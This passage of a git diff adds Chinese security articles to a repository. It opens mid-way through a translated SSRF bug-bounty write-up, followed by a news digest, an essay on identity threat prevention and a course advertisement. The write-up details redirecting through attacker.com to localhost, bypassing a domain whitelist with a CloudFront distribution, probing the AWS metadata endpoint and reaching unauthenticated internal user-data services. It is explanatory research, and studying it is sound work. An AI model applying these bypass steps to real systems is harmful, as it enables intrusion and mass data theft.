+const axios = require("axios"); +const HOST = "{hostName}"; // 这是我们能控制的 +const sendRequest = async function () { +  try { +    const response = await axios({ +      method: "get", +      baseURL: "https://" + HOST, // HTTPS写死 +      url: `/api/v1/workspaces/find/${HOST}`, +    }); +    console.log("Response Data: ", response.data); +  } catch (error) { +    console.error("Error: ", error.message); +  } +}; + +``` + +HTTPS写死了，我还怎么去请求内网那些可能只跑在HTTP上的服务呢？**** + +**** +**“对了，重定向！”** + Axios默认是跟随3xx跳转的。 + +我在我的 attacker.com + 服务器上的 /api/v1/workspaces/find/ + 路径设置了一个302跳转： + +https://attacker.com/api/v1/workspaces/find/ + -> 302 + -> http://test.com + +然后再次请求：https://target.com/social-media-name/api/client/workspaces/find/attacker.com + +成功了！我收到了 test.com + 的内容！这意味着服务器跟随了我的重定向。  + +那么，把 test.com + 换成 http://localhost + 呢？ + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sE30uAPcyu40n3JmHE8xJckdt6k6GTrmYEktib7oMibVeHjIwhYUUMsibOw/640?wx_fmt=other&from=appmsg "") + +虽然直接访问 http://localhost + 没返回内容，但我通过扫描常用端口，发现了两个活跃的服务： +- http://localhost:3000 + (就是当前这个社交媒体应用本身) + +- http://localhost:9090 + (访问返回404) + +对 http://localhost:9090/FUZZ + 进行目录爆破后，我找到了一个有趣的路径：http://localhost:9090/metrics +。这通常是 **Prometheus** + 监控系统暴露的指标数据接口，里面包含了大量的日志信息！这个发现，在后面帮了大忙。 + +**第三幕：修复后的“反杀”——与白名单的斗智斗勇** + +在我报告漏洞后，开发团队很快进行了修复。现在，当我尝试用 attacker.com + 时，直接返回404，我的服务器也收不到任何请求了。只有 target.com + 能返回200。 + +https://.../find/target.com + → 200 + +https://.../find/attacker.com + → 404 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sEia5pYe98AOohpqgziaCnaF3pE9nNaicjZSeRtvgONMqwzzibG4f0Jz1s8A/640?wx_fmt=other&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sEUUUHQzaeyYAETKxFTjYE5BOjFSDdDjicKZKCsyFAicCS2SrLfvZrRZrA/640?wx_fmt=other&from=appmsg "") + +看起来是加了某种验证。我开始测试子域名，发现一个奇怪现象： + +https://.../find/sub1.target.com + → 404 + +https://.../find/sub2.target.com + → 404 + +https://.../find/sub3.target.com + → 200 (能显示内容！) + +为什么有的子域名行，有的不行？ + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sElTtrIdfDftjZwwIzB2AQtibmibT1VpW0BuuGvnMicrBZqQYvibLKMjJxTw/640?wx_fmt=other&from=appmsg "") + +我直接请求这些子域名上的  + +https://subX.target.com/api/v1/workspaces/find/ + 路径，发现： + +https://sub1.target.com/.../find/ + → 404 + +https://sub2.target.com/.../find/ + → 504 + +https://sub3.target.com/.../find/ + → 200 (即使路径不存在，它也返回200) + +我明白了！新的逻辑是： +1. 检查你提供的 hostName + 是否“合法”（可能是一个白名单）。 + +1. 如果合法，服务器会向 https://hostName/api/v1/workspaces/find/ + 发送请求。 + +1. 如果这个内部请求返回 2xx + 状态码，就把响应展示给我；否则，就给我返回一个不带响应体的404。 + +也就是说，我不仅需要 hostName + 在白名单里，还需要这个 hostName + 对应的 /api/v1/workspaces/find/ + 路径能返回 2xx +。 + +我把我之前收集到的目标公司旗下的其他域名也试了一遍，果然，大部分返回404，但有一个完全不同的域名 secondary-domain.com + 居然返回了200！ + +https://.../find/secondary-domain.com + → 200 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sEslIgUnj9Pfm69tvpXSd98BSGMCyjxvWE9Nh7OiaQVuFbib71t1MTx19g/640?wx_fmt=other&from=appmsg "") + +**我几乎可以肯定，他们在用一个域名白名单！** + +**** +现在的问题是，如果白名单里的域名都是他们自己的，我该怎么办？两个思路： +1. 找个白名单里的域名，看有没有子域名接管漏洞。 + +1. 找个白名单里的域名，我可以在它的子域名上部署我自己的服务。 + +我注意到，每次服务器响应时，都有一个 X-Envoy-Upstream-Service-Time + 的HTTP头，它表示上游主机处理请求的时间。  + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sElRC29CWfEeuV6STJicHFb3YZrBvvy7NGCtLbj7TddKko1gJgu5r52BQ/640?wx_fmt=other&from=appmsg "") + +灵机一动：如果域名无效，服务器根本不会发送请求，处理时间应该很短；如果域名有效并发送了请求，时间就会长一些。**这不就是时间盲注的思路吗！** + +**** +我写了个脚本测试： +- 完全无效域名 (如 attacker.com +)：耗时 7-16ms + +- 有效域名的无效子域名 (如 noip.target.com +)：耗时 10-20ms + +- 有效域名但内部请求非2xx (如 sub1.target.com +)：耗时 >20ms + +- 有效域名且内部请求200 (如 target.com +)：耗时 >500ms + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sE6LK9gWoTyicJy5RdgYibibVmEF6BiacxlBMDMZv64y3GLfMZQ6gqTicDe2A/640?wx_fmt=other&from=appmsg "") + +这个差异很明显！如果 hostName + 无效，sendRequest + 函数根本不执行，时间自然短。 + +有了这个利器，我开始寻找“既在白名单内，我又能在其子域名上部署服务”的域名。  + +我收集了目标所有相关域名的所有子域名，筛选出CNAME记录，提取目标值，得到了一堆类似这样的域名：target-community.insided.comxxxxx.cloudfront.nettarget.github.io +... + +然后用我的时间盲注脚本去探测这些域名。大部分都无效，但是……***.cloudfront.net 完全有效！平均上游响应时间超过了20ms！** + +**** +Amazon CloudFront！CDN服务！用户可以创建自己的CloudFront分发，指向自己的源服务器！  + +我立刻创建了一个CloudFront分发 xxxattackerxxx.cloudfront.net +，让它指向我的 attacker.com +。 + + 然后，构造终极请求：https://target.com/social-media-name/api/client/workspaces/find/xxxattackerxxx.cloudfront.net + +**成了！我的服务器再次收到了请求！** + 我又可以愉快地在我的服务器上配置302重定向，指向内网IP了！漏洞完美复现！ + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sEkgRMwmhJWWb9obJ9DLwowFxsYxSOMjWufsnZa2U5AW02Xg26xicia3Jw/640?wx_fmt=other&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sERvpEYjnkj5rbYCBIFhU5G8WWG3PGqRxk3PYfleIl7lR76ibgEdf1GIA/640?wx_fmt=other&from=appmsg "") + +**第四幕：深潜入渊——内网漫游与数据的“宝藏”** + +重新拿到SSRF权限后，我开始探索内网。 首先尝试了AWS的实例元数据服务 http://169.254.169.254/latest/user-data +。 + +应用返回404，但查看 localhost:9090/metrics + 日志发现，实际状态码是 **401 Unauthorized** +。 原来是 **IMDSv2** + 在起作用！AWS为了防止SSRF泄露敏感信息，增强了安全机制，需要特定的会话令牌才能访问。这条路暂时走不通。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sEtlu8ysAYoiaibVG7tjePqAuaqA7krica8ZSj9uhAJrjiacb6KdjwC18PVw/640?wx_fmt=other&from=appmsg "") + +不过，/metrics + 日志再次立功！我注意到一个请求被发送到了 172.31.49.66 +，还看到了类似 xxx.xxx.svc.cluster.local + 的域名结构——这表明内部使用了 **Kubernetes (K8s)** +！ + +我的策略是： +1. HTTP扫描 172.31.0.0/16 + 网段的常见端口。 + +1. 对 xxx.xxx.svc.cluster.local + 进行DNS爆破。 + +同时，我想到了一个更聪明的办法：**** + +**解析目标所有子域名的IP，筛选出其中的内网IP！** + +果然，我找到了一些指向 172.31.0.0/16 + 网段的内部服务域名： + +internal-service1.target.com + → 172.31.11.190 + (Nexus代理) + +internal-service2.target.com + → 172.31.29.14 + (Vminsert) + +internal-service3.target.com + → 172.31.12.20 + (Pushgateway) + +internal-service4.target.com + → 172.31.55.203 + (Alert manager) + + ... + +在 internal-service3.target.com + 上，我发现了好几个K8s的命名空间和服务名，这让我可以更精确地生成内部K8s域名进行测试。 + +最终，当我请求 http://internal-service.target.com:80 +时，收到了 It's alive! + 的响应。有戏！ 开始对它进行路径Fuzz：http://internal-service.target.com:80/FUZZ + +然后，一个路径出现了：http://internal-service.target.com:80/applications +访问这个路径，返回了**海量的用户数据！** + +**** +有趣的是，主应用里也有个类似的端点 https://target.com:80/api/v1/profile/applications +，但它有严格的授权检查，只返回当前登录用户的数据。而这个内网的 http://internal-service.target.com:80/applications**完全没有授权机制！** +我可以直接访问所有用户的数据，甚至通过 http://internal-service.target.com:80/applications/ + 访问单个用户数据。 + +至此，我获得了**数百万用户的敏感信息** +。同时，我之前跑的自动化扫描脚本也陆续发现了更多内网地址，上面运行着各种管理面板、敏感日志文件和监控面板。 + + +**思考与启发：** +- **不要放过任何细节：** + 一个小小的 {hostName} +，一个特殊的HTTP响应头，都可能成为突破口。 + +- **理解应用行为：** + 模拟后端代码，理解错误信息，是深入分析漏洞的关键。 + +- **日志是金矿：**/metrics + 接口多次为作者指明了方向。 + +- **修复可能不完美：** + 对修复方案进行深入测试，往往能找到绕过方法。 + +- **知识储备很重要：** + 对Axios特性、HTTP重定向、CloudFront、AWS IMDS、Kubernetes等知识的了解，是成功的基石。 + +- **创造性思维：** + 利用响应时间差异判断白名单，解析外部域名获取内部IP，都是非常巧妙的思路。 + + + +====本文结束==== + +以上内容由漏洞集萃翻译整理。 + +参考： + +https://medium.com/@skycer_00/full-blown-ssrf-to-gain-access-to-millions-of-users-records-and-multiple-internal-panels-3719d9b802e9 + + diff --git a/doc/2025-05/微软OneDrive严重安全漏洞：OAuth权限滥用，数据泄露风险高.md b/doc/2025-05/微软OneDrive严重安全漏洞：OAuth权限滥用，数据泄露风险高.md new file mode 100644 index 00000000..74fafc54 --- /dev/null +++ b/doc/2025-05/微软OneDrive严重安全漏洞：OAuth权限滥用，数据泄露风险高.md @@ -0,0 +1,139 @@ +# 微软OneDrive严重安全漏洞：OAuth权限滥用，数据泄露风险高 +知机安全 知机安全 2025-05-29 06:15 + +### 1. 微软OneDrive文件选择器安全漏洞：潜在数据泄露风险 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/QGibgZhUnjfMlArttvznzWOFFia9F1BN2iaOJLuc32J9FicZ3xZnn5ZHUgQBHHqgWB2PYggibEYSaXPBCic2FzPIEkUQ/640?wx_fmt=jpeg "") + +微软OneDrive的文件选择器存在安全漏洞，黑客可能借此获取用户整个云端存储内容，而非仅上传的文件，该漏洞源于OAuth权限过宽和误导性的用户许可。Oasis Research Team已对此报告，并警告这可能导致客户数据泄露和合规问题。受影响的包括ChatGPT、Slack、Trello和ClickUp等应用。微软已承认问题，但尚未提供修复，建议用户在等待解决方案时避免使用OAuth上传文件。 + +【标签】# +OAuth + # +Cybersecurity + # +Security Flaw + # +Microsoft + # +Data Leakage + # +OneDrive + +【来源】https://thehackernews.com/2025/05/microsoft-onedrive-file-picker-flaw.html +### 2. PumaBot Botnet利用嵌入式Linux IoT设备进行SSH暴力攻击 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/QGibgZhUnjfMlArttvznzWOFFia9F1BN2iamJia5ib89aYhp172Tto952g8HqG9KHdOI0j7joNHiaR6OdQ3TcfA0eF5Q/640?wx_fmt=jpeg "") + +PumaBot是一种新的Go语言编写的恶意软件，专门针对嵌入式Linux物联网(IoT)设备进行SSH暴力破解攻击，以扩大规模并分发更多恶意软件。这种攻击方式不同于扫描互联网，而是从命令与控制(C2)服务器获取目标列表，尝试暴力破解SSH凭证。一旦成功入侵，它会接收远程命令并利用系统服务文件实现持久化。 + +【标签】# +IoT + # +Darktrace + # +Cybersecurity + # +PumaBot + # +Botnet + # +SSH + +【来源】https://thehackernews.com/2025/05/new-pumabot-botnet-targets-linux-iot.html +### 3. 2025年账户与会话劫持经济：现代Stealer的24小时攻击链 + +![](https://mmbiz.qpic.cn/mmbiz_png/QGibgZhUnjfMlArttvznzWOFFia9F1BN2ialNsYNiaic08nhXaWb1VVV6sNqe8MxcicbR8uTaHibkMBZZ41qjOB2WGSaA/640?wx_fmt=png "") + +2025年，Stealer不仅仅是窃取密码，它还能窃取实时会话，且攻击者行动速度远超以往。Flare的最新研究揭示了超过2000万Stealer日志，跟踪了攻击者在Telegram频道和暗网市场的活动。这些Stealer通过感染员工终端，以不到24小时的时间内窃取企业会话。 + +【标签】# +session hijacking + # +enterprise security + # +account takeover + # +stealer malware + # +dark web + # +Telegram + +【来源】https://thehackernews.com/2025/05/from-infection-to-access-24-hour.html +### 4. 浏览器中间攻击：理解与防范 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/QGibgZhUnjfMlArttvznzWOFFia9F1BN2iaoT9I70dD7bLT3JV4yBaWultHzpPHGu6Zk4dpmxpp4RHu6xtIpNZRGQ/640?wx_fmt=jpeg "") + +浏览器中间攻击（Browser-in-the-Middle, BitM）是一种网络安全威胁，攻击者通过伪装成用户浏览器，窃取用户在目标服务上的数据，类似于中间人攻击，但更隐蔽。受害者在不知情的情况下，使用攻击者的浏览器进行活动，导致数据被篡改或窃取。这种攻击利用了session tokens，通常在多因素认证后存储在浏览器中，一旦被窃取，即使有MFA也无法阻止。防范策略包括用户警惕链接、浏览器扩展控制、强化token管理、实施CSP、行为监控和使用浏览器隔离。同时，密码仍然是保护网络安全的基础，加强密码策略和配合MFA如Specops Password Policy和Secure Access可以有效抵御BitM攻击。 + +【标签】# +Browser-in-the-Middle + # +Session Tokens + # +Cybersecurity + # +MFA + # +Passwords + +【来源】https://thehackernews.com/2025/05/how-browser-in-middle-attacks-steal.html +### 5. 2025年5月日本云扫描活动：75个暴露点遭目标攻击 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/QGibgZhUnjfMlArttvznzWOFFia9F1BN2iadM2iafNR1HOqmuUkmxT0DM11vO61Q5VmsE7LuTm7wKNCNX5osxgAmicQ/640?wx_fmt=jpeg "") + +网络安全研究人员近日披露，本月早些时候，有一项协调的云扫描活动针对75个特定的‘暴露点’进行了攻击。这些恶意IP地址全部位于日本，由亚马逊托管。扫描涉及CVE漏洞利用、配置错误探测和情报收集行为，显示为临时租用的基础设施进行的一次单次行动。这次扫描针对的技术包括Adobe ColdFusion、Apache Struts、Apache Tomcat、Drupal等，表明攻击者不加选择地寻找任何可能的漏洞系统。 + +【标签】# +Japan + # +Amazon + # +cybersecurity + # +cloud scanning + # +vulnerability exploitation + +【来源】https://thehackernews.com/2025/05/251-amazon-hosted-ips-used-in-exploit.html +### 6. Apple App Store五年阻止了900亿欺诈交易，2024年动作尤其大 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/QGibgZhUnjfMlArttvznzWOFFia9F1BN2ianHH63EPG3rWa4n1z4X2mHPmoAYz7icxfvUdCR03vNvGkx6yNMSQggIw/640?wx_fmt=jpeg "") + +Apple公司透露，过去五年间App Store阻止了超过900亿美元的欺诈交易，其中2024年一年就阻止了20多亿美元。公司通过终止有问题账户、拒绝可疑应用和删除违规内容等手段，打击了假冒应用、欺诈支付、恶意评级和隐私侵犯等行为。 + +【标签】# +2024 Stats + # +Security + # +Fraud + # +App Store + # +Apple + +【来源】https://thehackernews.com/2025/05/apple-blocks-9-billion-in-fraud-over-5.html +### 7. 容器安全：自我传播Docker马蜂窝 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/QGibgZhUnjfMlArttvznzWOFFia9F1BN2iagB96YAicFgxpG010t0U9Qu5IPOjyY1BqsqLn8uqxvqGfJgiaQYcjI0TQ/640?wx_fmt=jpeg "") + +一种新的Docker马蜂窝病毒通过不安全的Docker API感染，利用Dero货币挖掘软件进行加密货币挖掘，且具有自我传播能力。Kaspersky的研究显示，攻击者通过漏洞获取初始访问权限后，会感染运行中的容器，并创建新的恶意容器进行网络攻击，进一步传播到其他网络。 + +【标签】# +Docker Malware + # +Container Security + # +Self-Propagation + # +Cryptojacking + +【来源】https://thehackernews.com/2025/05/new-self-spreading-malware-infects.html + +**关注我们** + +        欢迎来到我们的公众号！我们专注于全球网络安全和精选资讯，为您带来最新的资讯和深入的分析。在这里，您可以了解世界各地的网络安全事件，同时通过我们的新闻，获取更多的行业知识。感谢您选择关注我们，我们将继续努力，为您带来有价值的内容。 + + diff --git a/doc/2025-05/漏洞致命主义已经结束：为什么身份威胁预防是网络安全的未来.md b/doc/2025-05/漏洞致命主义已经结束：为什么身份威胁预防是网络安全的未来.md new file mode 100644 index 00000000..8425c1f2 --- /dev/null +++ b/doc/2025-05/漏洞致命主义已经结束：为什么身份威胁预防是网络安全的未来.md @@ -0,0 +1,50 @@ +# 漏洞致命主义已经结束：为什么身份威胁预防是网络安全的未来 +原创 sanlihesec 独角鲸网络安全实验室 2025-05-29 07:39 + +在一个平静的午后，小李正准备查看他的商业邮件，却发现邮箱已被登录，所有文件都被加密，屏幕上显示着勒索信息。那一刻，他才意识到，传统网络安全思维已经无法再保护他的企业。近年来，随着身份威胁的不断演变，一种新的网络安全概念——身份威胁预防（ITP）逐渐兴起，这或许能为像小李这样的人提供一种全新的解决方案。 + +身份攻击已经成为网络安全的头号威胁。据《福布斯》杂志报道，75% 的网络攻击都利用了身份漏洞。攻击者不再需要寻找复杂的系统漏洞，而是通过盗取身份凭证、攻陷设备以及使用深度伪造技术，轻松绕过传统防御，甚至在未被检测的情况下直接获取访问权限。这使得传统的多因素身份验证（MFA）等方法，如推送通知和一次性密码，也变得不再安全。这些曾经被认为可靠的身份验证手段，如今却常常成为攻击者的突破点。 + +传统的网络安全策略几乎都基于一个核心假设：入侵不可避免。  + +因此，组织大量投入检测与响应工具，如终端检测与响应（EDR）、网络检测与响应（NDR）和身份威胁检测与响应（ITDR）。这些工具虽然在某些方面有价值，但本质上是被动的。它们只能在初始访问权限被授予后才检测到入侵，而此时攻击者已经潜入系统，横向移动、提升权限并窃取数据。这种被动防御方式不仅使公司暴露于风险之中，还耗费大量资源用于清理入侵后果，而非阻止入侵发生。 + +身份层已成为新的入侵途径。如今的攻击者不再需要费力寻找系统漏洞，他们直接针对身份层下手，利用凭证钓鱼、MFA 绕过和会话劫持等手段轻松进入企业环境。许多身份和访问管理解决方案，尽管是安全架构的核心，却依赖于过时的身份验证方法，如基于推送的 MFA、一次性密码和备用密码。这些方法虽然曾经是临时的补救措施，如今却成为攻击者轻易绕过的障碍。 + +2023 年，Caesars Entertainment 和 MGM Resorts 都因为攻击者通过社会工程和 MFA 疲劳技术绕过身份保护而遭受重大入侵。在这些案例中，攻击者通过身份支持系统获得初始访问权限，随后在环境中横向移动。 + +类似的，2022 年思科的入侵事件也是从员工凭证被盗取开始，随后通过重复推送请求绕过 MFA，最终获得完整 VPN 访问权限。 + +面对这样的挑战，身份威胁预防（ITP）作为一种主动安全模型应运而生。ITP 的设计初衷是在攻击发生前消除基于身份的攻击向量。与传统方法不同，ITP 通过从 “假设入侵” 转变为 “阻止入侵”，将访问控制转变为最强大的安全层。这种方法的核心是通过强化身份平台，从根本上消除攻击者利用身份漏洞的可能性。 +### ITP 的四大核心原则 +1. **防钓鱼认证** +：这要求完全消除共享秘密，用不可钓鱼、重放或被盗的加密、设备绑定凭证取代密码、推送通知和一次性密码。这种新的认证方式使得攻击者即使获取了用户的登录信息，也无法利用这些信息进行攻击。 + +1. **设备信任与策略强制执行** +：这要求根据明确的设备策略实时强制执行设备信任。组织可以设定访问所需的设备安全控制，如磁盘加密、操作系统补丁级别、设备上的 EDR、生物识别登录和防火墙状态等。如果设备策略中的任何元素被违反，访问将自动被拒绝或撤销，无需用户干预。 + +1. **持续验证身份和设备安全** +：ITP 要求在整个会话过程中持续验证用户身份和设备状态，而不仅仅是在登录时刻。这意味着，如果设备状态不符合安全政策，如禁用加密、卸载 EDR 或失去生物识别保护，访问将被立即撤销或限制。这种持续的验证机制确保了即使攻击者在会话中途尝试篡改设备或身份信息，也无法成功。 + +1. **实时、集成的基于风险的访问框架** +：ITP 是一个访问框架，使用来自整个安全堆栈的实时数据评估身份和设备安全状态。它将身份验证和风险评估结合在一起，根据 EDR、MDM、ZTNA、SIEM 和漏洞扫描器等工具的信号做出每个访问决策。这使组织能够定义细致、适应性强的政策以反映当前条件，并且只有当身份、设备和风险背景都符合政策时才授予访问权限。 + +随着 AI 技术的飞速发展，网络安全的威胁格局正在迅速改变。攻击者如今可以利用生成式 AI 制作逼真的钓鱼邮件、克隆语音和深度伪造视频来伪装成高管、IT 支持人员或供应商。这些合成威胁不仅逼真到足以欺骗用户，还能绕过社会验证，触发高风险行为。面对这样的威胁，传统的安全工具显得力不从心。ITP 通过将信任从用户转移到可验证的加密凭证和强化设备状态上来直接应对这些威胁。通过持续验证身份并实时执行安全策略，ITP 使 AI 驱动的伪装尝试变得无效。 + +选择一个真正符合 ITP 模型的身份解决方案并非易事。在评估时，需要问自己几个关键问题： + +1）它是否使用抗钓鱼的设备绑定凭证？ + +2）它是否消除了共享秘密、密码和备用身份验证方法？ + +3）它是否能够在访问点强制执行细粒度的设备策略？ + +4）它是否能够持续验证身份和设备状态？ + +5）它是否能够摄取和实时响应来自 EDR、MDM 和 ZTNA 等工具的数据？ + +6）它是否能够防范 AI 驱动的威胁，如深度伪造和实时伪装？ + +网络安全需要一次思维方式的转变。入侵并非不可避免，只要访问层得到强化，入侵就可以被阻止。身份威胁预防提供了一条新的道路，将身份转变为控制点而非暴露点。通过消除不安全的身份验证方法、强制执行设备合规性，并将实时风险信号整合到每个访问决策中，ITP 消除了攻击者依赖的攻击向量。这不仅改变了网络安全的游戏规则，也为组织提供了一种全新的、主动的安全防御方式。 + + diff --git a/doc/2025-05/端午活动开启！白盒+黑盒双修来袭！知名小朋友（代码审计）联手地图大师（企业SRC漏洞挖掘），端午节限时大放价！.md b/doc/2025-05/端午活动开启！白盒+黑盒双修来袭！知名小朋友（代码审计）联手地图大师（企业SRC漏洞挖掘），端午节限时大放价！.md new file mode 100644 index 00000000..b4525966 --- /dev/null +++ b/doc/2025-05/端午活动开启！白盒+黑盒双修来袭！知名小朋友（代码审计）联手地图大师（企业SRC漏洞挖掘），端午节限时大放价！.md @@ -0,0 +1,212 @@ +# 端午活动开启！白盒+黑盒双修来袭！知名小朋友（代码审计）联手地图大师（企业SRC漏洞挖掘），端午节限时大放价！ + 进击安全 2025-05-29 07:38 + +**01****** + +福利开启 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/GHet7yDwHiaPyDWqtEulib0go1oJCxktoBHGhlFYb6fM9SZP9k7NJIkqanQdJcepv2amr9l4B0ib0zZsIEdVoS2kw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +      +## 🎉 福利开启｜端午限定上线！ + +龙舟划破江面，福利划破价格！ + +今年端午，我们迎来一场重磅联动！ + +两位网络安全圈讲师，强强联合： + +白盒代码审计×黑盒SRC漏洞挖掘， +**知名小朋友** + 联手 **地图大师** +， + +端午节限时联动，**双厨狂喜** +，一网打尽！ + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaNjA7NqzgeFC1CE9Iwfcesk1Qas0VicicMhW71XVsuxZTZ7z1vjULnM5XhTmDFTWeZCic0Ns6ASyWHag/640?wx_fmt=png&from=appmsg "") + + +**一号讲师：【知名小朋友】** +  + +       + +深耕**白盒代码审计** +领域，课程内容覆盖： +- 如何从源码中精准识别漏洞 + +- 审计常见CMS与企业项目 + +- 白盒技巧实战拆解与经验总结 + +- php代码审计+java代码审计+.net代码审计+js逆向 + +不仅教你审，还教你看懂厂商逻辑，从思路到实操，全流程带飞。 + + +**二号讲师：** +【**地图大师returnwrong】** + +      将带来SRC逻辑漏洞挖掘篇，带你从了解各种SRC及众测玩法。用自己真实的挖洞案例，带你从0-1实现自己企业src漏洞赏金之路。从理论到实践。一站式解决不敢挖企业src、挖不出企业src漏洞的难题。 + +**课程融合两位讲师的核心优势，从黑盒的SRC漏洞挖掘，到企业级代码审计实战，形成完整的漏洞挖掘闭环，全面解决你在实战中遇到的各类难题。带你养成代码审计思路及黑盒挖掘思路，助你成为安全界全能高手！** + +无论您是网络安全领域的初学者，还是希望进一步精进技能的从业者，这次特惠活动都是您不可错过的机会。端午期间报名，两位师傅的课程打包特惠，为您提供顶尖的网络安全知识。开启你的漏洞挖掘及代码审计之旅。 + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOgbE7sS3PDY7efaTicgHKc6Xlxg8o5qZgomOTkQ6mEhpzrzkia8rKP0JYVBytIKJicWhgp1AOGmcibuQ/640?wx_fmt=png&from=appmsg "") + +**02****** + +讲师介绍-知名小朋友 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/GHet7yDwHiaPyDWqtEulib0go1oJCxktoBHGhlFYb6fM9SZP9k7NJIkqanQdJcepv2amr9l4B0ib0zZsIEdVoS2kw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +**ID:知名小朋友** + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOgbE7sS3PDY7efaTicgHKc66Zqq6C6eHMqTPvkft34ia4NVHE9iadGzpCFZfhfcTSgwicTHxGpbvBCPA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOJMxkDEDFLyhUNfVgsWv0kY69lwasv5n9j6FyXWxIQWCMwVDSLLiaiaD3vSu9tlVSNMJ4GpXUTxmZA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOJMxkDEDFLyhUNfVgsWv0k0ojfdLYhpMa30dr5OWuaISUTY2dYPHOQLC1wfVusxOleZlGib7gwqibA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOJMxkDEDFLyhUNfVgsWv0kPPqt0WKe9knHMEl2rIYboviaDALwRomcAUiaBk49ibeC8s2YtCLFxMkLw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOJMxkDEDFLyhUNfVgsWv0kNoSVvS0D5Ul5bDPobwH4ySsRQIDuicImibtJvK0aAiaE8N8no2eCKrKFQ/640?wx_fmt=png&from=appmsg "") + +课程大纲： + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaOJMxkDEDFLyhUNfVgsWv0kficR322vpzHAa96j0mOXmqkHRFwQFHSyzUKOibyYibTYEuZiaQr3zZNicgw/640?wx_fmt=png&from=appmsg "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaNjA7NqzgeFC1CE9IwfceskQics7czzCkbiaZcFAIRh2vpCV7cjmSGk2pcR2n7Yib7H93kKSh2bf0gEg/640?wx_fmt=png&from=appmsg "") + + +**03****** + +讲师及课程介绍-地图大师returnwrong + +![](https://mmbiz.qpic.cn/mmbiz_jpg/GHet7yDwHiaPyDWqtEulib0go1oJCxktoBHGhlFYb6fM9SZP9k7NJIkqanQdJcepv2amr9l4B0ib0zZsIEdVoS2kw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +       + +ID:**地图大师returnwrong** + + + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaNjA7NqzgeFC1CE9IwfceskJQVVRRFiaIkbhe3FOOEAg8Siazr8DCeuQ7DTzZUkkMOUicsGgDmxCQXnA/640?wx_fmt=png&from=appmsg "") + + +SRC排行 +： +连续两年银联SRC年度精英白帽子。 +2023年智联招聘SRC第5、2024及2023年银联SRCTOP10、2023年知识星球SRC第4、2022年猎聘SRC第8、2022年BOSS直聘SRC第7、2022年华住SRC第12 + + + + + + +其它：19年毕业开始干网络安全快五年网络安全经验，持有CISP-PTE、RCHE、HCIP等证书（说实话没有src排名好 +用 +😂）22年挖到人生第一个src漏洞。 +2023年挖了5张cnvd原创漏洞证书（和挖src无关的内容）2024年3月担任HackingClub线下议题嘉宾，分享议题《实践挖掘国内AI场景漏洞： +科技前沿与安全探索》获得HackingClub荣誉讲师证书。2024年4月受平安安全应急响应中心邀请分享议题，2024年上榜欧盟网络安全名人堂（这个非常简单，已将上榜方法发表公众号文章公开）联合国网络名人堂等多个。并将上榜方法公开。 + + + + + + + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/GHet7yDwHiaOJMxkDEDFLyhUNfVgsWv0kNv0LOibIoicrr5JxwH3IJJTUbU7NFxg360p739Ic0hMgOEs9PHqOEb9A/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaPyDWqtEulib0go1oJCxktoB722h0GwMUx0JQtRcYMtL0LiadynFPtiaaPk4DfCOgeV6LpAmhzZ7VKpQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/GHet7yDwHiaPyDWqtEulib0go1oJCxktoBnJWaaSbo7LJysnJ66JxC4YgCr2CibWXUXrtmWfqC2DMAMEWZsng6jGw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![](https://mmbiz.qpic.cn/mmbiz_png/GHet7yDwHiaPyDWqtEulib0go1oJCxktoBGOK5ZmSX4qGdRmMF2iaLzurV7hiaSLO75dn97icY9aYcyleQRWs9u5Nqw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + + + + + +地图大师课程目录详见地图大师官网： + + +https://www.ditusec.com + + +      